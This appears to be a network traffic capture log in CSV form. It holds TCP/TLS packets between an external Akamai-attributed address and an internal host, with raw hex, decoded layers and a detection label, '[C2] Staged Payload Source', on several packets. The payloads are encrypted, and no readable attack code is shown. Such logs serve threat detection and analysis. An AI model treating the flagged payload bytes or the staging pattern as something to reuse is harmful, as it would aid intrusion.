\\\\xbe@\\\\x03\\\\xe8\\\\tN\\\\xe1\\\\xd2h7_Tn\\\\x8c\\\\x89\\\\xb1\\\\x9cN\\\\x8d\\\\xab\\\\x16\\\\xa8\\\\xcbAV\\\\x01\\\\xc9\\\\xd6\\\\xbd\\\\xa0\\\\x95\\\\xc5\\\\x0b\\\\xd7\\\\xf1\\\\xc7\\\\xa4\\\\xbew\\\\xa18\\\\x85(\\\\x9a\\\\xe6Z\\\\xd3\\\\xde\\\\xcdT\\\\xfc$s\\\\xba\\\\x02\\\\xc8\\\\xd9\\\\xff\\\\xf6\\\\xa6\\\\x9f\\\\xb2\\\\xa6\\\\xc6_\\\\x9b\\\\xe9\\\\xfb\\\\x17J\\\\xf1qW\\\\xaf\\\\x05\\\\xa4CR\\\\xb2\\\\xed\\\\xc5\\\\xc3\\\\xd1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:46.290724,14,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=307425989 Ack=3129735802,bc2411360d0cbc24112907bb080045000028eb154000400651ad021759530a98980b01bbf9c41252f2c5ba8bfa7a5010003ffe270000,\".$.6\n..$.)....E..(..@.@.Q...YS\n........R.....zP..?.'..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 60181, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20909, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307425989, \"\"ack\"\": 3129735802, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 65063, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:46.557349,15,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=307425989 Ack=3129735802,bc2411360d0cbc24112907bb080045000d80eb16400040064454021759530a98980b01bbf9c41252f2c5ba8bfa7a5018003f0b8000001703031f9cbedc482263f3ddbb27fd5e13deaaf5d5fcc023ff94e9a1596781c05782c79802361f86ff1a9b0535f69b126bf1508b84d12a2ad031e0968741ce773ff33f6b54d2d036e460b13365ecb61c8e365b66d67b899cedde4c2f8f85e8cbb72a4472221d547bcb236b31c6b43af92dcf5415d1c39b7198c34332e08ba60ec894457e53a6469562590a2f09460351de8c2e153c9b97d67e25d36137ed6d328d3dad23981db2147f4ef21f27e19c25645b05ec43b739a4a8e9570be55b4b958531dda78ea65bed39c6578baea086503d3a201be3a3b68e12ad750d91f555706b92253a422d5115f7e2df767d4c5d69c65f50cb22e7e34c33ee615a06bfc34d7781da6a7b940c59be0572cbc6abc5777c1ffbc52909d895c1b453ae80d11f9ebafb65a47d5a0075de67bbdc90e6f81e6020fc734765de67a2ba933741bbdd91ab8bd05cb0fd6581193740cdec16ba33720de0e74ff3a9da90201a4a39d4e8f13a58d4f8e14bca5ab1dff84b826f524ceba6e674c322589f18ca0904195cd4af0ac9f52a9b14d31cb87faf47cccbd962c6019da5806bad57bdb9a054a11b679dcfd01c77e0157e9132b036b90c41b2380d9002b133e4ddf8deed0b4c0fa14bdb7764ff43b6db6f801ee057851270b6e8baa7eeecca4fa04c7211996b42d2122f71eafa5b5a2562dace284a947706720a1a665b923211974dc3449d87a7d6019fdb6108468df902fbe77d650a8a81d9f5d3488b302e44054faa4187c26eedadb31a631a15fee5d12ce990fbec9e76280276dc757ce19c40d7f28c2a119cde12df9ecf640a2f64dcad226d81024598495bb9f9d9ccdbd70fc737e10ba8cf5ce566d601ace4dbfd6e23d3831728594d64a2d454b932e583fc1aabbec7bab9d8650e1e51366ef8ca023447e53923545231488681c6de2e90cc5ca2ca5cc9514708426ef255ec3e71c1ea9696ab0ccb7e13433d368680617566522e12707990a92c6fb377858c36b190771236eb6589038c07a6749cf9b8d606bd4b3992e37bbaae031fef2787bd19fb3b823d6f8777ecd7f7d3b7a33deb32e0bb7884d157570a4473d53da2fc324fa91a24b873a3dcde3ad5f5759dd655d815fa8146892110ead2245a4d2a2f1bacc0da581fd04623a7d847556e182e4b0479fcdf9a916a767009183346d57efa2c9143e159a5f8f5acea7a678ff105a9639ce0c89559518cb3f3cc8b3b46f9d95dec7fc5402b2bac62ddc12c100b403948ba84a9c49f8d753d1c59f6235c6b7d82fababe3a8289df83d4fa95d72d0d9e5478bce4f8903650aa3670cdebf55f3cad21b11e8aecf429307ad8225e536727d90866cd9e39dff8fa6139c468d3946820f6aa41fdc48df280b22d788cbbe0bcafba0a696d7ea2a1b3637acb0932f9dab2293e26a81c470fac52b009130c9b9f861745e7e8b06ec56e663d23408a1395380a0b4cf82ac8adaa5a72d937ec770ca2351a0e577f13001dfb21edfd72c5f74caea918821f208b2f7650d6f1277349792caa75a5e3114b226a36d33888d6dd87599f4c0ffd6b318eebdf6fdcbae8075eb1df1e42c0fe941692a247fbf9e9102533d42351597c0d4d8d6c7ee78b33e45891769b7793d186c3131c123b2c54a5516238d1123fe06ae3285a9bd48e2d34313fdedc65dec611cb24b93aa198e1dde9e453b4ec7511ca8be88d7d03c7d421224e665852971c3bdcc4a7bf7dc466ebd9fcbfb0d5ab584b3ae5e7925ba40fef7620c14aafa7e2dc72a2f59333698000c8fbaf3087fdf3b00b4daa263e63225a8acd8de064a2aff87c382ec7bee259df80b7c7b94a8eea13588d4caf4925a4c0f61da8d2654113b631567796b3b960e260af516a9522310b8eac3c572d486af3deeeac26b94b4787295478ee87fc204fc7e4ab3f0fc786e8a41772b83f8742627bddbcf5ab495797a74f7230565bc853c468daae2aefdaee6bdbaee3abdd58b6d1fcb9bffbb40bc6ec12cd83433ee4c77d5b5b2034c26d627efec9b47acb3e8f14b0ee7b2d4d5bd2364224f5af529fe15ca882bea5d51c4d65fc6edf283289201a5ed43d577728d5c9ce1cc5998c67fb599196f2d77303bdc279c6cac6f405fe567276e0002ab7985c770c6b93729d0d16637c4bc3ebc05d690ead8a6cb18c8461da8c6ee1918e370013b3a75e59e60ef8b389054f078dfd8c20f5b6dabcff606743da3248d51d2b8d22d2fa16266681d808187b9bd6b80eb3d32464804f0ce1b090cb43af15dd548d9f3d11f59df575f9cc73f7130a4648ff4294011c6f1e5d0bf9b2033d8b08b3e15e51e0ad1572e9858cf685a884e30b828f178d8bb6b26e9707f349d2681eb376e11977a7d104403195c1109ed15671edefd3f394bd611d8c5664f20491efcfbca2b7b7f7b0a65ce76dacf3e880b7f388f0583f02f281aa8e4ce677c0083f8e363ef67f0693da80c60b8acac073135cb09c107205755eed44854c62a611a8e74a36dd9d1a521bdffa9f987c10d5ac9a43645b15b5ad1df1b4e68e972d1e437064f2a3d38e1052f2279735d2c4cd12bf6db276bfc21c9e532b0c1393e15a0c5edd29b28e8c6383e2bfd117377b480957add655d0823035855fc883cf2afba776fe98e70e66cf687c059d92731f7ab3cdf1aa3256cbbe0acecee00aa4a6ed7ad78d05ad237577d39305fa5f350d1fbefa9b4316065aa230c4c9bb166644eb0e6b384d11293cee020bc7cf3e4fab669180c57ed1ffbc650bb4917c389a581e1d1b53de6c1163b049d49e9e83f81cecbac95d4295e8a8bdcd9ec6bb95ec80b19b7b55f8569ffe53ef4dfc9be5aa780e7f181230966d48db46abff67e9d625d1ea56684abbd4085cc1895d118d72fd6a937c121662a175dbbc8658970d4dacbf1f5228c8867f1e2c50d17ee3eaac016c77a0eb458675a62f3994d21a5ceaa2fbcfc0cd5da83059a35310616914e89037271f4b75ea2aa9424b15f2507059660f150ffe7e14ae64cb2f140a7980e4945d7579c995afec125ca7b462f2f87e0a0a2d795de2c2a2d56b5da385f01d1fec0eb673d85e64daebcd85fd15979be19bbecb1ba85424c15ae7ccea2c59932399e1aeeea8f21a3d8d421704b0f8eec25d877df00dbec74cf91eff090c9440e8952165d5215bb923eca17a618df3c9719119316f95164a3f11390e0ae5e451b1c3b0c4c09eb51da18c9b83c9d147356e1e03f384723c1525f0a3946daa3c37c99f973998cc3c2ee4d75aa85bcee7d700d80291e612a806f6e54d29f62be5c78b589d34039f8922273d56915b2ab98dadf0ccf9901632548f164d8739bdd5651641ba37a672c172add786d0818dc7fe2105160021e4416390da3cc6d3032313ef760038d771a6e96975d1cdec72fab22477da7dc4955b3553518d1f599e56f5ebdb3bf32d0a207d0b7a4d2c272c7d54cf836f4404874b8efe17c49cbb45fae4571774de49eb411a99163e788405e807587ff55cb0f92980df07a8f425b96e030c123525bca66742744805cc0b92de92363a8e702427ee146c1cebd38ad6bca9ba067fa5abb4cc833f9108d7008d6b60662667741cf0d68e3956f7740fb66a7f93f5bd467337abb61c0280798e33983d7fdbcb8be68066676549f05379337ffbf0d5823fc29e3e2f9fa4af89b36dbd94fb0c8fd0f803d7f8488931aa18244d0632f16a3164c9baf09388aedb1f7ac4d33dcbe3598a748aa15b1b0286e6c552a248e7941359bd7be701d794b1ee4fb9f17dd4dffbecd7f304454c8cd13128a5ba355bdbbeeccf13a1c4dc13a2394840349755ea12976e5276301d638363e3a0719ac52fdc12e0432bb1fe683eec7641b6fb7cf786f0b3dcac38010ee8f13eb868436bdb65cd548add0b4539c310f1a5aa99415a93d5f6a90c66cbcf048341ffda2466fb06608ec22b4f539e9a992bf77d7443134f08b2e75ad9d3492c74f4430e7fb450063552aa2ab73e32989571699e7e05072b095c731567d5aa53d6ac516ec777b9970c8c270d71d46596c59f3ec3a7fced860b665b025490c238d54813aafba09b9e7570cf574661d50c8f67a02a32f6d541ead434d2668ccffe0c52a7ab10120c541df41cee29275267f04db1e5c4b8da3995d98bc5649c03e6d9fe75486eb9a8ee70577109357a5a9ba5946dc8c5c3f557f683c19d98341e909c0d69c481a38f64451269833ae0bb5b31728e24000eee5e1fc63418f3bd6d85dc60b5dddb8efcb4a71d1ed7fa9a8e656ac866ed151761ae88169c02035348c90950061a444f786c76dd397806d43528717a946ea8d8dabd4ad13e9b85a5faf80879a25517db9ed47662a161ff2e9b4d7e8fbf730a897dfffb5b5cef6d4f1a21b20d53f3591de09ac12f61618f722d69d5f8ae01e2d1087370d9180abb04e5e015d7614d143dbb766f3e4d99413b157f1b2a9352b19f9732bc897d146efba6efa76976c7278655065cbc053f84e52c927605accf8080079151bea4aff1a9e3273c58ed2ce4b1b4ac45219b0c05f8c68976549bca41e9ee26c34fc480e6a36bdb32d920d3df5595345bf70ccefbb8b196fbe0d4de7052b7200fd9fb2046ad1282ef65009f8e1e32ddfe4efb0dcb3411596722e582dcc0c83c89e939c0b902e6be5d891cb9bd789cc3d6ecb2a549731cdcc9ebb536e66e7d3005991ecf13395c9bbf59befc40558e86c4e1462816df798d343effd23e7efa7eaee15f219b993344b3140768788d2370ea261598df7b132c2c06e83c7bd54428ae55b33087d3faedaabdaa80e35b2a070afb4516ca5fd15be824f27b513170f131c1ab0715878d4b07ec5c3beab8cd167f7759ee9ac8ba65629717c6,\".$.6\n..$.)....E.\n...@.@.DT..YS\n........R.....zP..?...........H\"\"c...'.^.......#....Yg..W....6......5...k.P...**.1...A.w?.?kT..6.`.3e....6[f.{....L/.....*Dr\"\".T{.#k1..:.-.T....q..C2......E~S.F.bY\n/\tF.Q....<...~%.a7.m2.=.#.....N..'..%d[..C.9...W..[K..1....[.9.W....P=: .......u\n..Upk.%:B-Q....v}L]i._P.\"\"..L3.aZ...Mw..j{..Y..r....w|...)\t....S.......e.}Z.u.g......` .sGe.g...7A......\\..e..7@....3r\n..O.... .J9...:X...K.Z...K.oRL...t.\"\"X...\t..\\..\n..*.......G...b.....k.W...T..g....w..~.2.6..A.8\n...3......L..K.wd.C..o...W..p.......O.Lr..kB../q..[Z%b..(J.w.r\n.f[.2..M.D.......a.F.....}e\n.....H.0.D.O.A..n....c.....,.....v(.v.u|..@...*.......d\n/d..\"\"m..E.I[........7....\\.f......n#...(YMd..T.2..........e..Q6n...4G.9#TR1H.......\\..\\.QG.Bn.U.>q.......~.C=6..aufR..py..,o.w..6..w.6.e.....t......K9..{.....'....;.=o.w......=.2..x..WW\nDs.=..2O..$.s...:..u..U....F.!...$ZM*/....X..F#..GUn..K.y....jvp\t.3F.~.,.C.Y.....zg....c....YQ.....;F..]...@++.b..,..@9H......u=.Y.#\\k}....:........-\n.Tx....6P.6p..._<.!.....)0z.\"\"^Sg'..f..9...a9.h..h ..A......-x......\nim~...cz.\t2...)>&..G..R.\t......E...n.nf=#@...8\n.L.*...Zr.7.w..5..W.....!..r..L..... ./vP..'sIy,.u...K\"\"j6.8....Y.L..k1...o....^...B......G....%3.#QY|\nM.l~..3.X.v.w.......;,T.Qb8..?.j.(Z...-41?..e....$.:......S..u.....}...!\"\"NfXR..;....}.f.......XK:...[...v .J....r...3i.....0.....M.&>c\"\"Z....d...|8....Y.....J...X.L.I%......eA..1Vw...`.`.Qj.\"\"1...<W-Hj....&.KG.)Tx... O...?......r.?.Bb{....IW..Or0V[.S.h..*...k.....X.............C>..}[[ 4.mb~...z.>....{-M[.6B$..R..\\......Me.n.(2. .^.=Ww(.......g.Y....s...y......Vrv..*..\\w.k.r.\n.c|K...]i...l...a..n...7....^Y......O.... .....`gC.2H..+.\"\"...&f....{......$d.O.....C...T..=....u..s..\nFH.B...o.]....=....^Q...r................n...I.h..v..w...@1.....Vq......a..Vd............\\.m........X?.....L.w..?.6>...........s.\\...r.u^.D.Lb....J6...R.....|....Cd[.........-.Cpd.....R.'.5.....m.v....S+....Z.^.)...c.....7{H\tW..U..05._...*..v....f.h|...s.z....2V..\n...\n...z....#uw...._5\n....C..Z.0....fD..k8M.)<.....>O.f...~...e...|8.X...S.l.c.I.........]B.............{U.V..S.M....x....0.mH.F..g..%..VhJ...\\..]..r.j.|..b.u...X.\nM...R(....,P.~....lw..E.u./9...\\......].0Y.S.ai...7'.Ku.*.BK..PpYf....~..d./.\ny...]uy.....\\..b..~\n\n-y]....k]........s.^d..............T$.Z...,Y.#.......=.B......].}.\n..L...\t..@..!e.![.#..za...q..1o..J?.9.\n..Q..............G5n....r<.%...m.<7...9..<...Z.[.............M).+...X.4...\"\"'=V.[*........2T..M.9..e.A.7.r.r........!...!.Ac..<...#..v.8.q..iu...r..$w.}..[5SQ..Y.V...;.-\n }.zM,',}T..oD..K......E..W.t.I.A...>x....X..\\..).....%.n...5%..gBtH......6:.p$'..l...............?.....k`f&gt....9V.t..j....Fs7.....y.3.=......fgeI.Sy3.....?..>/.....m..........H.1..$M.2.j1d........z..=..Y.t..[.....R.H...Y.{......O..}.......EL..1(..5[..........9H@4.U...nRv0.c.c..q../...C+..h>.vA..|......8....>.hCk.e.T...E9......AZ.....f....A..$f..`..+OS...+.}tC.O...Z..I,t.C...P.5R.*.>2..qi.~..+\t\\s.g..S..Qn.w....'\nq.e...>......f[.T..8.H......up.WFa...g.*2..A..4.f....R.....T....)'Rg.M.....9....d.....uHn...pWq\t5zZ...m....W.....4...\ni....dE.i.:..[1r.$...^..4...m..`.............ej.f...a......SH.\tP..DOxlv.9x..5(qz.n....J.>......y.U....vb.a...M~..s\n.}..[\\.mO.!.\nS.Y..../aa.r-i.......sp..\n......aM.=.vo>M.A;...*.R...2..}.n....iv.'.U.\\..?..,.v.......Q......'<X.,....E!......vT..A..&.O....k.2. ..U.4[...........pR. ... F....e....2..N.\n.4.Yg\"\".....<..9.....]....x......Is.....6.n}0.....9\\..Y..@U....F(..y.4>..>~.~.._!..3D...hx.#p.&...{.,,..<{.D(.U.0.........[*.\n.E.._.[.$.{Q1p.1......K..\\;.....wY....eb...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 60182, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17492, \"\"src\"\": \"\"2.23.89.83\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 307425989, \"\"ack\"\": 3129735802, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2944, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"1703031f9cbedc482263f3ddbb27fd5e13deaaf5d5fcc023ff94e9a1596781c05782c79802361f86ff1a9b0535f69b126bf1508b84d12a2ad031e0968741ce773ff33f6b54d2d036e460b13365ecb61c8e365b66d67b899cedde4c2f8f85e8cbb72a4472221d547bcb236b31c6b43af92dcf5415d1c39b7198c34332e08ba60ec894457e53a6469562590a2f09460351de8c2e153c9b97d67e25d36137ed6d328d3dad23981db2147f4ef21f27e19c25645b05ec43b739a4a8e9570be55b4b958531dda78ea65bed39c6578baea086503d3a201be3a3b68e12ad750d91f555706b92253a422d5115f7e2df767d4c5d69c65f50cb22e7e34c33ee615a06bfc34d7781da6a7b940c59be0572cbc6abc5777c1ffbc52909d895c1b453ae80d11f9ebafb65a47d5a0075de67bbdc90e6f81e6020fc734765de67a2ba933741bbdd91ab8bd05cb0fd6581193740cdec16ba33720de0e74ff3a9da90201a4a39d4e8f13a58d4f8e14bca5ab1dff84b826f524ceba6e674c322589f18ca0904195cd4af0ac9f52a9b14d31cb87faf47cccbd962c6019da5806bad57bdb9a054a11b679dcfd01c77e0157e9132b036b90c41b2380d9002b133e4ddf8deed0b4c0fa14bdb7764ff43b6db6f801ee057851270b6e8baa7eeecca4fa04c7211996b42d2122f71eafa5b5a2562dace284a947706720a1a665b923211974dc3449d87a7d6019fdb6108468df902fbe77d650a8a81d9f5d3488b302e44054faa4187c26eedadb31a631a15fee5d12ce990fbec9e76280276dc757ce19c40d7f28c2a119cde12df9ecf640a2f64dcad226d81024598495bb9f9d9ccdbd70fc737e10ba8cf5ce566d601ace4dbfd6e23d3831728594d64a2d454b932e583fc1aabbec7bab9d8650e1e51366ef8ca023447e53923545231488681c6de2e90cc5ca2ca5cc9514708426ef255ec3e71c1ea9696ab0ccb7e13433d368680617566522e12707990a92c6fb377858c36b190771236eb6589038c07a6749cf9b8d606bd4b3992e37bbaae031fef2787bd19fb3b823d6f8777ecd7f7d3b7a33deb32e0bb7884d157570a4473d53da2fc324fa91a24b873a3dcde3ad5f5759dd655d815fa8146892110ead2245a4d2a2f1bacc0da581fd04623a7d847556e182e4b0479fcdf9a916a767009183346d57efa2c9143e159a5f8f5acea7a678ff105a9639ce0c89559518cb3f3cc8b3b46f9d95dec7fc5402b2bac62ddc12c100b403948ba84a9c49f8d753d1c59f6235c6b7d82fababe3a8289df83d4fa95d72d0d9e5478bce4f8903650aa3670cdebf55f3cad21b11e8aecf429307ad8225e536727d90866cd9e39dff8fa6139c468d3946820f6aa41fdc48df280b22d788cbbe0bcafba0a696d7ea2a1b3637acb0932f9dab2293e26a81c470fac52b009130c9b9f861745e7e8b06ec56e663d23408a1395380a0b4cf82ac8adaa5a72d937ec770ca2351a0e577f13001dfb21edfd72c5f74caea918821f208b2f7650d6f1277349792caa75a5e3114b226a36d33888d6dd87599f4c0ffd6b318eebdf6fdcbae8075eb1df1e42c0fe941692a247fbf9e9102533d42351597c0d4d8d6c7ee78b33e45891769b7793d186c3131c123b2c54a5516238d1123fe06ae3285a9bd48e2d34313fdedc65dec611cb24b93aa198e1dde9e453b4ec7511ca8be88d7d03c7d421224e665852971c3bdcc4a7bf7dc466ebd9fcbfb0d5ab584b3ae5e7925ba40fef7620c14aafa7e2dc72a2f59333698000c8fbaf3087fdf3b00b4daa263e63225a8acd8de064a2aff87c382ec7bee259df80b7c7b94a8eea13588d4caf4925a4c0f61da8d2654113b631567796b3b960e260af516a9522310b8eac3c572d486af3deeeac26b94b4787295478ee87fc204fc7e4ab3f0fc786e8a41772b83f8742627bddbcf5ab495797a74f7230565bc853c468daae2aefdaee6bdbaee3abdd58b6d1fcb9bffbb40bc6ec12cd83433ee4c77d5b5b2034c26d627efec9b47acb3e8f14b0ee7b2d4d5bd2364224f5af529fe15ca882bea5d51c4d65fc6edf283289201a5ed43d577728d5c9ce1cc5998c67fb599196f2d77303bdc279c6cac6f405fe567276e0002ab7985c770c6b93729d0d16637c4bc3ebc05d690ead8a6cb18c8461da8c6ee1918e370013b3a75e59e60ef8b389054f078dfd8c20f5b6dabcff606743da3248d51d2b8d22d2fa16266681d808187b9bd6b80eb3d32464804f0ce1b090cb43af15dd548d9f3d11f59df575f9cc73f7130a4648ff4294011c6f1e5d0bf9b2033d8b08b3e15e51e0ad1572e9858cf685a884e30b828f178d8bb6b26e9707f349d2681eb376e11977a7d104403195c1109ed15671edefd3f394bd611d8c5664f20491efcfbca2b7b7f7b0a65ce76dacf3e880b7f388f0583f02f281aa8e4ce677c0083f8e363ef67f0693da80c60b8acac073135cb09c107205755eed44854c62a611a8e74a36dd9d1a521bdffa9f987c10d5ac9a43645b15b5ad1df1b4e68e972d1e437064f2a3d38e1052f2279735d2c4cd12bf6db276bfc21c9e532b0c1393e15a0c5edd29b28e8c6383e2bfd117377b480957add655d0823035855fc883cf2afba776fe98e70e66cf687c059d92731f7ab3cdf1aa3256cbbe0acecee00aa4a6ed7ad78d05ad237577d39305fa5f350d1fbefa9b4316065aa230c4c9bb166644eb0e6b384d11293cee020bc7cf3e4fab669180c57ed1ffbc650bb4917c389a581e1d1b53de6c1163b049d49e9e83f81cecbac95d4295e8a8bdcd9ec6bb95ec80b19b7b55f8569ffe53ef4dfc9be5aa780e7f181230966d48db46abff67e9d625d1ea56684abbd4085cc1895d118d72fd6a937c121662a175dbbc8658970d4dacbf1f5228c8867f1e2c50d17ee3eaac016c77a0eb458675a62f3994d21a5ceaa2fbcfc0cd5da83059a35310616914e89037271f4b75ea2aa9424b15f2507059660f150ffe7e14ae64cb2f140a7980e4945d7579c995afec125ca7b462f2f87e0a0a2d795de2c2a2d56b5da385f01d1fec0eb673d85e64daebcd85fd15979be19bbecb1ba85424c15ae7ccea2c59932399e1aeeea8f21a3d8d421704b0f8eec25d877df00dbec74cf91eff090c9440e8952165d5215bb923eca17a618df3c9719119316f95164a3f11390e0ae5e451b1c3b0c4c09eb51da18c9b83c9d147356e1e03f384723c1525f0a3946daa3c37c99f973998cc3c2ee4d75aa85bcee7d700d80291e612a806f6e54d29f62be5c78b589d34039f8922273d56915b2ab98dadf0ccf9901632548f164d8739bdd5651641ba37a672c172add786d0818dc7fe2105160021e4416390da3cc6d3032313ef760038d771a6e96975d1cdec72fab22477da7dc4955b3553518d1f599e56f5ebdb3bf32d0a207d0b7a4d2c272c7d54cf836f4404874b8efe17c49cbb45fae4571774de49eb411a99163e788405e807587ff55cb0f92980df07a8f425b96e030c123525bca66742744805cc0b92de92363a8e702427ee146c1cebd38ad6bca9ba067fa5abb4cc833f9108d7008d6b60662667741cf0d68e3956f7740fb66a7f93f5bd467337abb61c0280798e33983d7fdbcb8be68066676549f05379337ffbf0d5823fc29e3e2f9fa4af89b36dbd94fb0c8fd0f803d7f8488931aa18244d0632f16a3164c9baf09388aedb1f7ac4d33dcbe3598a748aa15b1b0286e6c552a248e7941359bd7be701d794b1ee4fb9f17dd4dffbecd7f304454c8cd13128a5ba355bdbbeeccf13a1c4dc13a2394840349755ea12976e5276301d638363e3a0719ac52fdc12e0432bb1fe683eec7641b6fb7cf786f0b3dcac38010ee8f13eb868436bdb65cd548add0b4539c310f1a5aa99415a93d5f6a90c66cbcf048341ffda2466fb06608ec22b4f539e9a992bf77d7443134f08b2e75ad9d3492c74f4430e7fb450063552aa2ab73e32989571699e7e05072b095c731567d5aa53d6ac516ec777b9970c8c270d71d46596c59f3ec3a7fced860b665b025490c238d54813aafba09b9e7570cf574661d50c8f67a02a32f6d541ead434d2668ccffe0c52a7ab10120c541df41cee29275267f04db1e5c4b8da3995d98bc5649c03e6d9fe75486eb9a8ee70577109357a5a9ba5946dc8c5c3f557f683c19d98341e909c0d69c481a38f64451269833ae0bb5b31728e24000eee5e1fc63418f3bd6d85dc60b5dddb8efcb4a71d1ed7fa9a8e656ac866ed151761ae88169c02035348c90950061a444f786c76dd397806d43528717a946ea8d8dabd4ad13e9b85a5faf80879a25517db9ed47662a161ff2e9b4d7e8fbf730a897dfffb5b5cef6d4f1a21b20d53f3591de09ac12f61618f722d69d5f8ae01e2d1087370d9180abb04e5e015d7614d143dbb766f3e4d99413b157f1b2a9352b19f9732bc897d146efba6efa76976c7278655065cbc053f84e52c927605accf8080079151bea4aff1a9e3273c58ed2ce4b1b4ac45219b0c05f8c68976549bca41e9ee26c34fc480e6a36bdb32d920d3df5595345bf70ccefbb8b196fbe0d4de7052b7200fd9fb2046ad1282ef65009f8e1e32ddfe4efb0dcb3411596722e582dcc0c83c89e939c0b902e6be5d891cb9bd789cc3d6ecb2a549731cdcc9ebb536e66e7d3005991ecf13395c9bbf59befc40558e86c4e1462816df798d343effd23e7efa7eaee15f219b993344b3140768788d2370ea261598df7b132c2c06e83c7bd54428ae55b33087d3faedaabdaa80e35b2a070afb4516ca5fd15be824f27b513170f131c1ab0715878d4b07ec5c3beab8cd167f7759ee9ac8ba65629717c6\"\"}}]\"\n2026-06-14 14:16:46.557575,16,TCP 10.152.152.11:63940 -> 2.23.89.83:443,10.152.152.11,2.23.89.83,63940,443,TCP,Internal,Private Network,,,,,,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3129735802 Ack=307429405,bc24112907bbbc2411360d0c0800450000288a174000800672ab0a98980b02175953f9c401bbba8bfa7a1253001d50102014cebc0000,\".$.)...$.6\n...E..(..@...r.\n.....YS.......z.S..P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35351, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 29355, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"2.23.89.83\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 3129735802, \"\"ack\"\": 307429405, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 52924, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:46.572408,17,TCP 2.23.89.83:443 -> 10.152.152.11:63940,2.23.89.83,10.152.152.11,443,63940,TCP,Sweden,Stockholm,16625,\"Akamai Technologies, Inc.\",59.3287,18.0717,2.23.88.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=307429405 Ack=3129735802,bc2411360d0cbc24112907bb0800450003f8eb19400040064dd9021759530a98980b01bbf9c41253001dba8bfa7a5018003f01f8000098819328db8f8dcd12c662049722b514932d88fddc6bac164be2d9c9205f1dc99b8467aa5bb603f4bc20cd0aac5b8b3f94ef64381c9cd6bf24d03bf3832ea54441b3f179d39c9f1eea766f4e4a9cdbf5be0eb945f452cfe410510ed29dae68a1604e8612553ae9e39ab21163ddf39088bad04cefc86aba2477e4d9fac2ecb3e08c43d2a75822d04122d5c90746878044787e0295ab473fb052a97eeb14e4ff432505cb5ccbbf2f0c51ff92276a77dbd04e85445b6864e3964e97826107f0edc989e367d5e6af6bace60121718fa8114759cf10a3e90c05242fc233c9fbb63454091f82e74b89febac28033814411446fef55486d252ea15ca9e827cb62a629f86a807fd897b15e2c15c0198be8ab1a98b65bedc9a0f6ffcb5913795c1daafeda616353eaf1971a8f9c8431d73dad1493ae12c739067c8604516bb6df8086765d50513a21de019da9fc6b7f83972c2b2f2a26d7d1c89a417440822fc19c9b246587f6f65427b5689efc62eee6c493c56d6